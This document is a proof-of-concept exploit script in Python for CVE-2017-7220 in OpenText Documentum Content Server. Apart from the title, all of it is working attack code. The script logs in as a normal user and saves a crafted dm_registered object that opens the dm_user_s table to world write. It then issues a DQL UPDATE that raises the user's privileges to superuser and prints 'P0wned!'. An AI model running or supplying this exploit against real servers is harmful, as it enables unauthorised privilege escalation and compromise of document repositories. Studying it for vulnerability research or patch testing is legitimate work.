PoC: CVE-2017-7220. OpenText Documentum Content Server: privilege evaluation using crafted RPC save-commands.

#!/usr/bin/env python

import socket
import sys
from os.path import basename

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject

CIPHERS = "ALL:aNULL:!eNULL"


def usage():
    print "usage:\n\t%s host port user password" % basename(sys.argv[0])


def main():
    if len(sys.argv) != 5:
        usage()
        exit(1)

    print "Trying to connect to %s:%s as %s ..." % (sys.argv[1], sys.argv[2], sys.argv[3])
    (session, docbase) = create_session(*sys.argv[1:5])

    if is_super_user(session):
        print "Current user is a superuser, nothing to do"
        exit(1)

    print "Acquiring ID for malicious object ..."
    id = session.next_id(0x00)
    print "Acquired %s\nTrying to create following malicious object:" % id
    obj = TypedObject(session=session)
    obj.set_string("OBJECT_TYPE", "dm_registered")
    obj.set_bool("IS_NEW_OBJECT", True)
    obj.set_int("i_vstamp", 0)
    obj.set_string("table_name", "dm_user_s")
    obj.set_string("table_owner", docbase)
    obj.set_string("owner_name", docbase)
    obj.set_int("world_permit", 7)
    obj.set_string("object_name", "dm_user_s")
    obj.set_string("r_object_type", "dm_registered")
    obj.set_int("owner_table_permit", 15)
    obj.set_int("group_table_permit", 15)
    obj.set_int("world_table_permit", 15)
    print obj.dump()
    if not session.save(id, obj):
        print "Failed"
        exit(1)
    print "Becoming superuser..."
    r = session.query(
        "UPDATE dm_dbo.dm_user_s SET "
        "user_privileges=16 WHERE user_name=USER") \
        .next_record()[
        'rows_updated']
    if r != 1:
        print "Failed"
        exit(1)
    print "P0wned!"


def create_session(host, port, user, pwd, identity=None):
    print "Trying to connect to %s:%s as %s ..." % \
          (host, port, user)
    session = None
    try:
        session = DocbaseClient(
            host=host, port=int(port),
            username=user, password=pwd,
            identity=identity)
    except socket.error, e:
        if e.errno == 54:
            session = DocbaseClient(
                host=host, port=int(port),
                username=user, password=pwd,
                identity=identity,
                secure=True, ciphers=CIPHERS)
        else:
            raise e
    docbase = session.docbaseconfig['object_name']
    version = session.serverconfig['r_server_version']
    print "Connected to %s:%s, docbase: %s, version: %s" % \
          (host, port, docbase, version)
    return (session, docbase)


def is_super_user(session):
    user = session.get_by_qualification(
        "dm_user WHERE user_name=USER")
    if user['user_privileges'] == 16:
        return True
    group = session.get_by_qualification(
        "dm_group where group_name='dm_superusers' "
        "AND any i_all_users_names=USER")
    if group is not None:
        return True

    return False


if __name__ == '__main__':
    main()